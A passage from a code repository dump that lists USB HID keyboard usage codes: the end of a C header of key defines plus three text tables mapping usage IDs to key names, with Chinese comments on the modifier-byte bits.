KEY_KEYPAD_MINUS 0x56 88 | #define KEY_KEYPAD_PLUS 0x57 89 | #define KEY_KEYPAD_ENTER 0x58 90 | #define KEY_KEYPAD_1_END 0x59 91 | #define KEY_KEYPAD_2_DOWN_ARROW 0x5A 92 | #define KEY_KEYPAD_3_PAGEDN 0x5B 93 | #define KEY_KEYPAD_4_LEFT_ARROW 0x5C 94 | #define KEY_KEYPAD_5 0x5D 95 | #define KEY_KEYPAD_6_RIGHT_ARROW 0x5E 96 | #define KEY_KEYPAD_7_HOME 0x5F 97 | #define KEY_KEYPAD_8_UP_ARROW 0x60 98 | #define KEY_KEYPAD_9_PAGEUP 0x61 99 | #define KEY_KEYPAD_0_INSERT 0x62 100 | #define KEY_KEYPAD_DECIMAL_SEPARATOR_DELETE 0x63 101 | #define KEY_NONUS_BACK_SLASH_VERTICAL_BAR 0x64 102 | #define KEY_APPLICATION 0x65 103 | #define KEY_POWER 0x66 104 | #define KEY_KEYPAD_EQUAL 0x67 105 | #define KEY_F13 0x68 106 | #define KEY_F14 0x69 107 | #define KEY_F15 0x6A 108 | #define KEY_F16 0x6B 109 | #define KEY_F17 0x6C 110 | #define KEY_F18 0x6D 111 | #define KEY_F19 0x6E 112 | #define KEY_F20 0x6F 113 | #define KEY_F21 0x70 114 | #define KEY_F22 0x71 115 | #define KEY_F23 0x72 116 | #define KEY_F24 0x73 117 | #define KEY_EXECUTE 0x74 118 | #define KEY_HELP 0x75 119 | #define KEY_MENU 0x76 120 | #define KEY_SELECT 0x77 121 | #define KEY_STOP 0x78 122 | #define KEY_AGAIN 0x79 123 | #define KEY_UNDO 0x7A 124 | #define KEY_CUT 0x7B 125 | #define KEY_COPY 0x7C 126 | #define KEY_PASTE 0x7D 127 | #define KEY_FIND 0x7E 128 | #define KEY_MUTE 0x7F 129 | #define KEY_VOLUME_UP 0x80 130 | #define KEY_VOLUME_DOWN 0x81 131 | #define KEY_LOCKING_CAPS_LOCK 0x82 132 | #define KEY_LOCKING_NUM_LOCK 0x83 133 | #define KEY_LOCKING_SCROLL_LOCK 0x84 134 | #define KEY_KEYPAD_COMMA 0x85 135 | #define KEY_KEYPAD_EQUAL_SIGN 0x86 136 | #define KEY_INTERNATIONAL1 0x87 137 | #define KEY_INTERNATIONAL2 0x88 138 | #define KEY_INTERNATIONAL3 0x89 139 | #define KEY_INTERNATIONAL4 0x8A 140 | #define KEY_INTERNATIONAL5 0x8B 141 | #define KEY_INTERNATIONAL6 0x8C 142 | #define KEY_INTERNATIONAL7 0x8D 143 | #define KEY_INTERNATIONAL8 0x8E 144 | #define KEY_INTERNATIONAL9 0x8F 145 | #define KEY_LANG1 0x90 146 | #define KEY_LANG2 0x91 147 | #define KEY_LANG3 0x92 148 | #define KEY_LANG4 0x93 149 | #define KEY_LANG5 0x94 150 | #define KEY_LANG6 0x95 151 | #define KEY_LANG7 0x96 152 | #define KEY_LANG8 0x97 153 | #define KEY_LANG9 0x98 154 | #define KEY_ALTERNATE_ERASE 0x99 155 | #define KEY_SYSREQ 0x9A 156 | #define KEY_CANCEL 0x9B 157 | #define KEY_CLEAR 0x9C 158 | #define KEY_PRIOR 0x9D 159 | #define KEY_RETURN 0x9E 160 | #define KEY_SEPARATOR 0x9F 161 | #define KEY_OUT 0xA0 162 | #define KEY_OPER 0xA1 163 | #define KEY_CLEAR_AGAIN 0xA2 164 | #define KEY_CRSEL 0xA3 165 | #define KEY_EXSEL 0xA4 166 | #define KEY_KEYPAD_00 0xB0 167 | #define KEY_KEYPAD_000 0xB1 168 | #define KEY_THOUSANDS_SEPARATOR 0xB2 169 | #define KEY_DECIMAL_SEPARATOR 0xB3 170 | #define KEY_CURRENCY_UNIT 0xB4 171 | #define KEY_CURRENCY_SUB_UNIT 0xB5 172 | #define KEY_KEYPAD_OPARENTHESIS 0xB6 173 | #define KEY_KEYPAD_CPARENTHESIS 0xB7 174 | #define KEY_KEYPAD_OBRACE 0xB8 175 | #define KEY_KEYPAD_CBRACE 0xB9 176 | #define KEY_KEYPAD_TAB 0xBA 177 | #define KEY_KEYPAD_BACKSPACE 0xBB 178 | #define KEY_KEYPAD_A 0xBC 179 | #define KEY_KEYPAD_B 0xBD 180 | #define KEY_KEYPAD_C 0xBE 181 | #define KEY_KEYPAD_D 0xBF 182 | #define KEY_KEYPAD_E 0xC0 183 | #define KEY_KEYPAD_F 0xC1 184 | #define KEY_KEYPAD_XOR 0xC2 185 | #define KEY_KEYPAD_CARET 0xC3 186 | #define KEY_KEYPAD_PERCENT 0xC4 187 | #define KEY_KEYPAD_LESS 0xC5 188 | #define KEY_KEYPAD_GREATER 0xC6 189 | #define KEY_KEYPAD_AMPERSAND 0xC7 190 | #define KEY_KEYPAD_LOGICAL_AND 0xC8 191 | #define KEY_KEYPAD_VERTICAL_BAR 0xC9 192 | #define KEY_KEYPAD_LOGIACL_OR 0xCA 193 | #define KEY_KEYPAD_COLON 0xCB 194 | #define KEY_KEYPAD_NUMBER_SIGN 0xCC 195 | #define KEY_KEYPAD_SPACE 0xCD 196 | #define KEY_KEYPAD_AT 0xCE 197 | #define KEY_KEYPAD_EXCLAMATION_MARK 0xCF 198 | #define KEY_KEYPAD_MEMORY_STORE 0xD0 199 | #define KEY_KEYPAD_MEMORY_RECALL 0xD1 200 | #define KEY_KEYPAD_MEMORY_CLEAR 0xD2 201 | #define KEY_KEYPAD_MEMORY_ADD 0xD3 202 | #define KEY_KEYPAD_MEMORY_SUBTRACT 0xD4 203 | #define KEY_KEYPAD_MEMORY_MULTIPLY 0xD5 204 | #define KEY_KEYPAD_MEMORY_DIVIDE 0xD6 205 | #define KEY_KEYPAD_PLUSMINUS 0xD7 206 | #define KEY_KEYPAD_CLEAR 0xD8 207 | #define KEY_KEYPAD_CLEAR_ENTRY 0xD9 208 | #define KEY_KEYPAD_BINARY 0xDA 209 | #define KEY_KEYPAD_OCTAL 0xDB 210 | #define KEY_KEYPAD_DECIMAL 0xDC 211 | #define KEY_KEYPAD_HEXADECIMAL 0xDD 212 | #define KEY_LEFTCONTROL 0xE0 213 | #define KEY_LEFTSHIFT 0xE1 214 | #define KEY_LEFTALT 0xE2 215 | #define KEY_LEFT_GUI 0xE3 216 | #define KEY_RIGHTCONTROL 0xE4 217 | #define KEY_RIGHTSHIFT 0xE5 218 | #define KEY_RIGHTALT 0xE6 219 | #define KEY_RIGHT_GUI 0xE7 220 | -------------------------------------------------------------------------------- /keyboard/hid_kbd1.txt: -------------------------------------------------------------------------------- 1 | 1 01 Keyboard ErrorRollOver9 N/A √ √ √ 4/101/104 2 | 2 02 Keyboard POSTFail9 N/A √ √ √ 4/101/104 3 | 3 03 Keyboard ErrorUndefined9 N/A √ √ √ 4/101/104 4 | 4 04 Keyboard a and A4 31 √ √ √ 4/101/104 5 | 5 05 Keyboard b and B 50 √ √ √ 4/101/104 6 | 6 06 Keyboard c and C4 48 √ √ √ 4/101/104 7 | 7 07 Keyboard d and D 33 √ √ √ 4/101/104 8 | 8 08 Keyboard e and E 19 √ √ √ 4/101/104 9 | 9 09 Keyboard f and F 34 √ √ √ 4/101/104 10 | 10 0A Keyboard g and G 35 √ √ √ 4/101/104 11 | 11 0B Keyboard h and H 36 √ √ √ 4/101/104 12 | 12 0C Keyboard i and I 24 √ √ √ 4/101/104 13 | 13 0D Keyboard j and J 37 √ √ √ 4/101/104 14 | 14 0E Keyboard k and K 38 √ √ √ 4/101/104 15 | 15 0F Keyboard l and L 39 √ √ √ 4/101/104 16 | 16 10 Keyboard m and M4 52 √ √ √ 4/101/104 17 | 17 11 Keyboard n and N 51 √ √ √ 4/101/104 18 | 18 12 Keyboard o and O4 25 √ √ √ 4/101/104 19 | 19 13 Keyboard p and P4 26 √ √ √ 4/101/104 20 | 20 14 Keyboard q and Q4 17 √ √ √ 4/101/104 21 | 21 15 Keyboard r and R 20 √ √ √ 4/101/104 22 | 22 16 Keyboard s and S4 32 √ √ √ 4/101/104 23 | 23 17 Keyboard t and T 21 √ √ √ 4/101/104 24 | 24 18 Keyboard u and U 23 √ √ √ 4/101/104 25 | 25 19 Keyboard v and V 49 √ √ √ 4/101/104 26 | 26 1A Keyboard w and W4 18 √ √ √ 4/101/104 27 | 27 1B Keyboard x and X4 47 √ √ √ 4/101/104 28 | 28 1C Keyboard y and Y4 22 √ √ √ 4/101/104 29 | 29 1D Keyboard z and Z4 46 √ √ √ 4/101/104 30 | 30 1E Keyboard 1 and !4 2 √ √ √ 4/101/104 31 | 31 1F Keyboard 2 and @4 3 √ √ √ 4/101/104 32 | 32 20 Keyboard 3 and #4 4 √ √ √ 4/101/104 33 | 33 21 Keyboard 4 and $4 5 √ √ √ 4/101/104 34 | 34 22 Keyboard 5 and %4 6 √ √ √ 4/101/104 35 | 35 23 Keyboard 6 and ^4 7 √ √ √ 4/101/104 36 | 36 24 Keyboard 7 and &4 8 √ √ √ 4/101/104 37 | 37 25 Keyboard 8 and *4 9 √ √ √ 4/101/104 38 | 38 26 Keyboard 9 and (4 10 √ √ √ 4/101/104 39 | 39 27 Keyboard 0 and )4 11 √ √ √ 4/101/104 40 | 40 28 Keyboard Return (ENTER)5 43 √ √ √ 4/101/104 41 | 41 29 Keyboard ESCAPE 110 √ √ √ 4/101/104 42 | 42 2A Keyboard DELETE (Backspace)13 15 √ √ √ 4/101/104 43 | 43 2B Keyboard Tab 16 √ √ √ 4/101/104 44 | 44 2C Keyboard Spacebar 61 √ √ √ 4/101/104 45 | 45 2D Keyboard - and (underscore)4 12 √ √ √ 4/101/104 46 | 46 2E Keyboard = and +4 13 √ √ √ 4/101/104 47 | 47 2F Keyboard [ and {4 27 √ √ √ 4/101/104 48 | 48 30 Keyboard ] and }4 28 √ √ √ 4/101/104 49 | 49 31 Keyboard \ and | 29 √ √ √ 4/101/104 50 | 50 32 Keyboard Non-US # and ~2 42 √ √ √ 4/101/104 51 | 51 33 Keyboard ; and :4 40 √ √ √ 4/101/104 52 | 52 34 Keyboard ‘ and “4 41 √ √ √ 4/101/104 53 | 53 35 Keyboard Grave Accent and Tilde4 1 √ √ √ 4/101/104 54 | 54 36 Keyboard, and <4 53 √ √ √ 4/101/104 55 | 55 37 Keyboard . and >4 54 √ √ √ 4/101/104 56 | 56 38 Keyboard / and ?4 55 √ √ √ 4/101/104 57 | 57 39 Keyboard Caps Lock11 30 √ √ √ 4/101/104 58 | 58 3A Keyboard F1 112 √ √ √ 4/101/104 59 | 59 3B Keyboard F2 113 √ √ √ 4/101/104 60 | 60 3C Keyboard F3 114 √ √ √ 4/101/104 61 | 61 3D Keyboard F4 115 √ √ √ 4/101/104 62 | 62 3E Keyboard F5 116 √ √ √ 4/101/104 63 | 63 3F Keyboard F6 117 √ √ √ 4/101/104 64 | 64 40 Keyboard F7 118 √ √ √ 4/101/104 65 | 65 41 Keyboard F8 119 √ √ √ 4/101/104 66 | 66 42 Keyboard F9 120 √ √ √ 4/101/104 67 | 67 43 Keyboard F10 121 √ √ √ 4/101/104 68 | 68 44 Keyboard F11 122 √ √ √ 101/104 69 | 69 45 Keyboard F12 123 √ √ √ 101/104 70 | 70 46 Keyboard PrintScreen1 124 √ √ √ 101/104 71 | 71 47 Keyboard Scroll Lock11 125 √ √ √ 4/101/104 72 | 72 48 Keyboard Pause1 126 √ √ √ 101/104 73 | 73 49 Keyboard Insert1 75 √ √ √ 101/104 74 | 74 4A Keyboard Home1 80 √ √ √ 101/104 75 | 75 4B Keyboard PageUp1 85 √ √ √ 101/104 76 | 76 4C Keyboard Delete Forward1;14 76 √ √ √ 101/104 77 | 77 4D Keyboard End1 81 √ √ √ 101/104 78 | 78 4E Keyboard PageDown1 86 √ √ √ 101/104 79 | 79 4F Keyboard RightArrow1 89 √ √ √ 101/104 80 | 80 50 Keyboard LeftArrow1 79 √ √ √ 101/104 81 | 81 51 Keyboard DownArrow1 84 √ √ √ 101/104 82 | 82 52 Keyboard UpArrow1 83 √ √ √ 101/104 83 | 83 53 Keypad Num Lock and Clear11 90 √ √ √ 101/104 84 | 84 54 Keypad /1 95 √ √ √ 101/104 85 | 85 55 Keypad * 100 √ √ √ 4/101/104 86 | 86 56 Keypad - 105 √ √ √ 4/101/104 87 | 87 57 Keypad + 106 √ √ √ 4/101/104 88 | 88 58 Keypad ENTER5 108 √ √ √ 101/104 89 | 89 59 Keypad 1 and End 93 √ √ √ 4/101/104 90 | 90 5A Keypad 2 and Down Arrow 98 √ √ √ 4/101/104 91 | 91 5B Keypad 3 and PageDn 103 √ √ √ 4/101/104 92 | 92 5C Keypad 4 and Left Arrow 92 √ √ √ 4/101/104 93 | 93 5D Keypad 5 97 √ √ √ 4/101/104 94 | 94 5E Keypad 6 and Right Arrow 102 √ √ √ 4/101/104 95 | 95 5F Keypad 7 and Home 91 √ √ √ 4/101/104 96 | 96 60 Keypad 8 and Up Arrow 96 √ √ √ 4/101/104 97 | 97 61 Keypad 9 and PageUp 101 √ √ √ 4/101/104 98 | 98 62 Keypad 0 and Insert 99 √ √ √ 4/101/104 99 | 99 63 Keypad . and Delete 104 √ √ √ 4/101/104 100 | 100 64 Keyboard Non-US \ and |3;6 45 √ √ √ 4/101/104 101 | 101 65 Keyboard Application10 129 √ √ 104 102 | 102 66 Keyboard Power9 √ √ 103 | 103 67 Keypad = √ 104 | 104 68 Keyboard F13 √ 105 | 105 69 Keyboard F14 √ 106 | 106 6A Keyboard F15 √ 107 | 107 6B Keyboard F16 108 | 108 6C Keyboard F17 109 | 109 6D Keyboard F18 110 | 110 6E Keyboard F19 111 | 111 6F Keyboard F20 112 | 112 70 Keyboard F21 113 | 113 71 Keyboard F22 114 | 114 72 Keyboard F23 115 | 115 73 Keyboard F24 116 | 116 74 Keyboard Execute √ 117 | 117 75 Keyboard Help √ 118 | 118 76 Keyboard Menu √ 119 | 119 77 Keyboard Select √ 120 | 120 78 Keyboard Stop √ 121 | 121 79 Keyboard Again √ 122 | 122 7A Keyboard Undo √ 123 | 123 7B Keyboard Cut √ 124 | 124 7C Keyboard Copy √ 125 | 125 7D Keyboard Paste √ 126 | 126 7E Keyboard Find √ 127 | 127 7F Keyboard Mute √ 128 | 128 80 Keyboard Volume Up √ 129 | 129 81 Keyboard Volume Down √ 130 | 130 82 Keyboard Locking Caps Lock12 √ 131 | 131 83 Keyboard Locking Num Lock12 √ 132 | 132 84 Keyboard Locking Scroll Lock12 √ 133 | 133 85 Keypad Comma27 107 134 | 134 86 Keypad Equal Sign29 135 | 135 87 Keyboard International115,28 56 136 | 136 88 Keyboard International216 137 | 137 89 Keyboard International317 138 | 138 8A Keyboard International418 139 | 139 8B Keyboard International519 140 | 140 8C Keyboard International620 141 | 141 8D Keyboard International721 142 | 142 8E Keyboard International822 143 | 143 8F Keyboard International922 144 | 144 90 Keyboard LANG125 145 | 145 91 Keyboard LANG226 146 | 146 92 Keyboard LANG330 147 | 147 93 Keyboard LANG431 148 | 148 94 Keyboard LANG532 149 | 149 95 Keyboard LANG68 150 | 150 96 Keyboard LANG78 151 | 151 97 Keyboard LANG88 152 | 152 98 Keyboard LANG98 153 | 153 99 Keyboard Alternate Erase7 154 | 154 9A Keyboard SysReq/Attention1 155 | 155 9B Keyboard Cancel 156 | 156 9C Keyboard Clear 157 | 157 9D Keyboard Prior 158 | 158 9E Keyboard Return 159 | 159 9F Keyboard Separator 160 | 160 A0 Keyboard Out 161 | 161 A1 Keyboard Oper 162 | 162 A2 Keyboard Clear/Again 163 | 163 A3 Keyboard CrSel/Props 164 | 164 A4 Keyboard ExSel 165 | 165-175 A5-CF Reserved 166 | 176 B0 Keypad 00 167 | 177 B1 Keypad 000 168 | 178 B2 Thousands Separator 33 169 | 179 B3 Decimal Separator 33 170 | 180 B4 Currency Unit 34 171 | 181 B5 Currency Sub-unit 34 172 | 182 B6 Keypad ( 173 | 183 B7 Keypad ) 174 | 184 B8 Keypad { 175 | 185 B9 Keypad } 176 | 186 BA Keypad Tab 177 | 187 BB Keypad Backspace 178 | 188 BC Keypad A 179 | 189 BD Keypad B 180 | 190 BE Keypad C 181 | 191 BF Keypad D 182 | 192 C0 Keypad E 183 | 193 C1 Keypad F 184 | 194 C2 Keypad XOR 185 | 195 C3 Keypad ^ 186 | 196 C4 Keypad % 187 | 197 C5 Keypad < 188 | 198 C6 Keypad > 189 | 199 C7 Keypad & 190 | 200 C8 Keypad && 191 | 201 C9 Keypad | 192 | 202 CA Keypad || 193 | 203 CB Keypad : 194 | 204 CC Keypad # 195 | 205 CD Keypad Space 196 | 206 CE Keypad @ 197 | 207 CF Keypad ! 198 | 208 D0 Keypad Memory Store 199 | 209 D1 Keypad Memory Recall 200 | 210 D2 Keypad Memory Clear 201 | 211 D3 Keypad Memory Add 202 | 212 D4 Keypad Memory Subtract 203 | 213 D5 Keypad Memory Multiply 204 | 214 D6 Keypad Memory Divide 205 | 215 D7 Keypad +/- 206 | 216 D8 Keypad Clear 207 | 217 D9 Keypad Clear Entry 208 | 218 DA Keypad Binary 209 | 219 DB Keypad Octal 210 | 220 DC Keypad Decimal 211 | 221 DD Keypad Hexadecimal 212 | 222-223 DE-DF Reserved 213 | 224 E0 Keyboard LeftControl 58 √ √ √ 4/101/104 214 | 225 E1 Keyboard LeftShift 44 √ √ √ 4/101/104 215 | 226 E2 Keyboard LeftAlt 60 √ √ √ 4/101/104 216 | 227 E3 Keyboard Left GUI10;23 127 √ √ √ 104 217 | 228 E4 Keyboard RightControl 64 √ √ √ 101/104 218 | 229 E5 Keyboard RightShift 57 √ √ √ 4/101/104 219 | 230 E6 Keyboard RightAlt 62 √ √ √ 101/104 220 | 231 E7 Keyboard Right GUI10;24 128 √ √ √ 104 221 | 232-65535 E8-FFFF Reserved 222 | 223 | -------------------------------------------------------------------------------- /keyboard/hid_kbd2.txt: -------------------------------------------------------------------------------- 1 | #BYTE1 -- 2 | #|--bit0: Left Control 按下时为1 3 | #|--bit1: Left Shift按下时为1 4 | #|--bit2: Left Alt按下时为1 5 | #|--bit3: Left GUI按下时为1 6 | #|--bit4: Right Control按下时为1 7 | #|--bit5: Right Shift按下时为1 8 | #|--bit6: Right Alt按下时为1 9 | #|--bit7: Right GUI按下时为1 10 | 11 | 01 Keyboard ErrorRollOver 12 | 02 Keyboard POSTFail 13 | 03 Keyboard ErrorUndefined 14 | 04 Keyboard a and A 15 | 05 Keyboard b and B 16 | 06 Keyboard c and C 17 | 07 Keyboard d and D 18 | 08 Keyboard e and E 19 | 09 Keyboard f and F 20 | 0A Keyboard g and G 21 | 0B Keyboard h and H 22 | 0C Keyboard i and I 23 | 0D Keyboard j and J 24 | 0E Keyboard k and K 25 | 0F Keyboard l and L 26 | 10 Keyboard m and M 27 | 11 Keyboard n and N 28 | 12 Keyboard o and O 29 | 13 Keyboard p and P 30 | 14 Keyboard q and Q 31 | 15 Keyboard r and R 32 | 16 Keyboard s and S 33 | 17 Keyboard t and T 34 | 18 Keyboard u and U 35 | 19 Keyboard v and V 36 | 1A Keyboard w and W 37 | 1B Keyboard x and X 38 | 1C Keyboard y and Y 39 | 1D Keyboard z and Z 40 | 1E Keyboard 1 and ! 41 | 1F Keyboard 2 and @ 42 | 20 Keyboard 3 and # 43 | 21 Keyboard 4 and $ 44 | 22 Keyboard 5 and % 45 | 23 Keyboard 6 and ^ 46 | 24 Keyboard 7 and & 47 | 25 Keyboard 8 and * 48 | 26 Keyboard 9 and ( 49 | 27 Keyboard 0 and ) 50 | 28 Keyboard Return (ENTER) 51 | 29 Keyboard ESCAPE 52 | 2A Keyboard DELETE 53 | 2B Keyboard Tab 54 | 2C Keyboard Spacebar 55 | 2D Keyboard - and (underscore) 56 | 2E Keyboard = and + 57 | 2F Keyboard [ and { 58 | 30 Keyboard ] and } 59 | 31 Keyboard \ and | 60 | 32 Keyboard Non-US # and ~ 61 | 33 Keyboard ; and : 62 | 34 Keyboard ‘ and “ 63 | 35 Keyboard Grave Accent and Tilde 64 | 36 Keyboard, and < 65 | 37 Keyboard . and > 66 | 38 Keyboard / and ? 67 | 39 Keyboard Caps Lock 68 | 3A Keyboard F1 69 | 3B Keyboard F2 70 | 3C Keyboard F3 71 | 3D Keyboard F4 72 | 3E Keyboard F5 73 | 3F Keyboard F6 74 | 40 Keyboard F7 75 | 41 Keyboard F8 76 | 42 Keyboard F9 77 | 43 Keyboard F10 78 | 44 Keyboard F11 79 | 45 Keyboard F12 80 | 46 Keyboard PrintScreen 81 | 47 Keyboard Scroll Lock 82 | 48 Keyboard Pause 83 | 49 Keyboard Insert 84 | 4A Keyboard Home 85 | 4B Keyboard PageUp 86 | 4C Keyboard Delete Forward 87 | 4D Keyboard End 88 | 4E Keyboard PageDown 89 | 4F Keyboard RightArrow 90 | 50 Keyboard LeftArrow 91 | 51 Keyboard DownArrow 92 | 52 Keyboard UpArrow 93 | 53 Keypad Num Lock and Clear 94 | 54 Keypad / 95 | 55 Keypad * 96 | 56 Keypad - 97 | 57 Keypad + 98 | 58 Keypad ENTER 99 | 59 Keypad 1 and End 100 | 5A Keypad 2 and Down Arrow 101 | 5B Keypad 3 and PageDn 102 | 5C Keypad 4 and Left Arrow 103 | 5D Keypad 5 104 | 5E Keypad 6 and Right Arrow 105 | 5F Keypad 7 and Home 106 | 60 Keypad 8 and Up Arrow 107 | 61 Keypad 9 and PageUp 108 | 62 Keypad 0 and Insert 109 | 63 Keypad . and Delete 110 | 64 Keyboard Non-US \ and | 111 | 65 Keyboard Application 112 | 66 Keyboard Power 113 | 67 Keypad = 114 | 68 Keyboard F13 115 | 69 Keyboard F14 116 | 6A Keyboard F15 117 | 6B Keyboard F16 118 | 6C Keyboard F17 119 | 6D Keyboard F18 120 | 6E Keyboard F19 121 | 6F Keyboard F20 122 | 70 Keyboard F21 123 | 71 Keyboard F22 124 | 72 Keyboard F23 125 | 73 Keyboard F24 126 | 74 Keyboard Execute 127 | 75 Keyboard Help 128 | 76 Keyboard Menu 129 | 77 Keyboard Select 130 | 78 Keyboard Stop 131 | 79 Keyboard Again 132 | 7A Keyboard Undo 133 | 7B Keyboard Cut 134 | 7C Keyboard Copy 135 | 7D Keyboard Paste 136 | 7E Keyboard Find 137 | 7F Keyboard Mute 138 | 80 Keyboard Volume Up 139 | 81 Keyboard Volume Down 140 | 82 Keyboard Locking Caps Lock 141 | 83 Keyboard Locking Num Lock 142 | 84 Keyboard Locking Scroll Lock 143 | 85 Keypad Comma 144 | 86 Keypad Equal Sign 145 | 87 Keyboard International115 146 | 88 Keyboard International216 147 | 89 Keyboard International317 148 | 8A Keyboard International418 149 | 8B Keyboard International519 150 | 8C Keyboard International620 151 | 8D Keyboard International721 152 | 8E Keyboard International822 153 | 8F Keyboard International922 154 | 90 Keyboard LANG125 155 | 91 Keyboard LANG226 156 | 92 Keyboard LANG330 157 | 93 Keyboard LANG431 158 | 94 Keyboard LANG532 159 | 95 Keyboard LANG68 160 | 96 Keyboard LANG78 161 | 97 Keyboard LANG88 162 | 98 Keyboard LANG98 163 | 99 Keyboard Alternate Erase 164 | 9A Keyboard SysReq/Attention 165 | 9B Keyboard Cancel 166 | 9C Keyboard Clear 167 | 9D Keyboard Prior 168 | 9E Keyboard Return 169 | 9F Keyboard Separator 170 | A0 Keyboard Out 171 | A1 Keyboard Oper 172 | A2 Keyboard Clear/Again 173 | A3 Keyboard CrSel/Props 174 | A4 Keyboard ExSel 175 | B0 Keypad 00 176 | B1 Keypad 000 177 | B2 Thousands Separator 33 178 | B3 Decimal Separator 33 179 | B4 Currency Unit 34 180 | B5 Currency Sub-unit 34 181 | B6 Keypad ( 182 | B7 Keypad ) 183 | B8 Keypad { 184 | B9 Keypad } 185 | BA Keypad Tab 186 | BB Keypad Backspace 187 | BC Keypad A 188 | BD Keypad B 189 | BE Keypad C 190 | BF Keypad D 191 | C0 Keypad E 192 | C1 Keypad F 193 | C2 Keypad XOR 194 | C3 Keypad ^ 195 | C4 Keypad % 196 | C5 Keypad < 197 | C6 Keypad > 198 | C7 Keypad & 199 | C8 Keypad && 200 | C9 Keypad | 201 | CA Keypad || 202 | CB Keypad : 203 | CC Keypad # 204 | CD Keypad Space 205 | CE Keypad @ 206 | CF Keypad ! 207 | D0 Keypad Memory Store 208 | D1 Keypad Memory Recall 209 | D2 Keypad Memory Clear 210 | D3 Keypad Memory Add 211 | D4 Keypad Memory Subtract 212 | D5 Keypad Memory Multiply 213 | D6 Keypad Memory Divide 214 | D7 Keypad +/- 215 | D8 Keypad Clear 216 | D9 Keypad Clear Entry 217 | DA Keypad Binary 218 | DB Keypad Octal 219 | DC Keypad Decimal 220 | DD Keypad Hexadecimal 221 | E0 Keyboard LeftControl 222 | E1 Keyboard LeftShift 223 | E2 Keyboard LeftAlt 224 | E3 Keyboard Left GUI 225 | E4 Keyboard RightControl 226 | E5 Keyboard RightShift 227 | E6 Keyboard RightAlt 228 | E7 Keyboard Right GUI 229 | 230 | -------------------------------------------------------------------------------- /keyboard/hid_kbd_simplify.txt: -------------------------------------------------------------------------------- 1 | #BYTE1 -- 2 | #|--bit0: Left Control 按下时为1 3 | #|--bit1: Left Shift按下时为1 4 | #|--bit2: Left Alt按下时为1 5 | #|--bit3: Left GUI按下时为1 6 | #|--bit4: Right Control按下时为1 7 | #|--bit5: Right Shift按下时为1 8 | #|--bit6: Right Alt按下时为1 9 | #|--bit7: Right GUI按下时为1 10 | 11 | #01 Keyboard ErrorRollOver 12 | #02 Keyboard POSTFail 13 | #03 Keyboard ErrorUndefined 14 | 04 Keyboard a and A 15 | 05 Keyboard b and B 16 | 06 Keyboard c and C 17 | 07 Keyboard d and D 18 | 08 Keyboard e and E 19 | 09 Keyboard f and F 20 | 0A Keyboard g and G 21 | 0B Keyboard h and H 22 | 0C Keyboard i and I 23 | 0D Keyboard j and J 24 | 0E Keyboard k and K 25 | 0F Keyboard l and L 26 | 10 Keyboard m and M 27 | 11 Keyboard n and N 28 | 12 Keyboard o and O 29 | 13 Keyboard p and P 30 | 14 Keyboard q and Q 31 | 15 Keyboard r and R 32 | 16 Keyboard s and S 33 | 17 Keyboard t and T 34 | 18 Keyboard u and U 35 | 19 Keyboard v and V 36 | 1A Keyboard w and W 37 | 1B Keyboard x and X 38 | 1C Keyboard y and Y 39 | 1D Keyboard z and Z 40 | 1E Keyboard 1 and ! 41 | 1F Keyboard 2 and @ 42 | 20 Keyboard 3 and # 43 | 21 Keyboard 4 and $ 44 | 22 Keyboard 5 and % 45 | 23 Keyboard 6 and ^ 46 | 24 Keyboard 7 and & 47 | 25 Keyboard 8 and * 48 | 26 Keyboard 9 and ( 49 | 27 Keyboard 0 and ) 50 | #28 Keyboard Return (ENTER) 51 | 29 Keyboard ESCAPE 52 | 2A Keyboard DELETE 53 | 2B Keyboard Tab 54 | 2C Keyboard Spacebar 55 | #2D Keyboard - and (underscore) 56 | 2D Keyboard - and _ 57 | 2E Keyboard = and + 58 | 2F Keyboard [ and { 59 | 30 Keyboard ] and } 60 | 31 Keyboard \ and | 61 | 32 Keyboard Non-US # and ~ 62 | 33 Keyboard ; and : 63 | 34 Keyboard ‘ and “ 64 | 35 Keyboard Grave Accent and Tilde 65 | 36 Keyboard, and < 66 | 37 Keyboard . and > 67 | 38 Keyboard / and ? 68 | 39 Keyboard Caps Lock 69 | 3A Keyboard F1 70 | 3B Keyboard F2 71 | 3C Keyboard F3 72 | 3D Keyboard F4 73 | 3E Keyboard F5 74 | 3F Keyboard F6 75 | 40 Keyboard F7 76 | 41 Keyboard F8 77 | 42 Keyboard F9 78 | 43 Keyboard F10 79 | 44 Keyboard F11 80 | 45 Keyboard F12 81 | 46 Keyboard PrintScreen 82 | 47 Keyboard Scroll Lock 83 | 48 Keyboard Pause 84 | 49 Keyboard Insert 85 | 4A Keyboard Home 86 | 4B Keyboard PageUp 87 | 4C Keyboard Delete Forward 88 | 4D Keyboard End 89 | 4E Keyboard PageDown 90 | 4F Keyboard RightArrow 91 | 50 Keyboard LeftArrow 92 | 51 Keyboard DownArrow 93 | 52 Keyboard UpArrow 94 | #53 Keypad Num Lock and Clear 95 | #54 Keypad / 96 | #55 Keypad * 97 | #56 Keypad - 98 | #57 Keypad + 99 | #58 Keypad ENTER 100 | #59 Keypad 1 and End 101 | #5A Keypad 2 and Down Arrow 102 | #5B Keypad 3 and PageDn 103 | #5C Keypad 4 and Left Arrow 104 | #5D Keypad 5 105 | #5E Keypad 6 and Right Arrow 106 | #5F Keypad 7 and Home 107 | #60 Keypad 8 and Up Arrow 108 | #61 Keypad 9 and PageUp 109 | #62 Keypad 0 and Insert 110 | #63 Keypad . and Delete 111 | 64 Keyboard Non-US \ and | 112 | 65 Keyboard Application 113 | 66 Keyboard Power 114 | #67 Keypad = 115 | 68 Keyboard F13 116 | 69 Keyboard F14 117 | 6A Keyboard F15 118 | 6B Keyboard F16 119 | 6C Keyboard F17 120 | 6D Keyboard F18 121 | 6E Keyboard F19 122 | 6F Keyboard F20 123 | 70 Keyboard F21 124 | 71 Keyboard F22 125 | 72 Keyboard F23 126 | 73 Keyboard F24 127 | 74 Keyboard Execute 128 | 75 Keyboard Help 129 | 76 Keyboard Menu 130 | 77 Keyboard Select 131 | 78 Keyboard Stop 132 | 79 Keyboard Again 133 | 7A Keyboard Undo 134 | 7B Keyboard Cut 135 | 7C Keyboard Copy 136 | 7D Keyboard Paste 137 | 7E Keyboard Find 138 | 7F Keyboard Mute 139 | 80 Keyboard Volume Up 140 | 81 Keyboard Volume Down 141 | 82 Keyboard Locking Caps Lock 142 | 83 Keyboard Locking Num Lock 143 | 84 Keyboard Locking Scroll Lock 144 | #85 Keypad Comma 145 | #86 Keypad Equal Sign 146 | 87 Keyboard International115 147 | 88 Keyboard International216 148 | 89 Keyboard International317 149 | 8A Keyboard International418 150 | 8B Keyboard International519 151 | 8C Keyboard International620 152 | 8D Keyboard International721 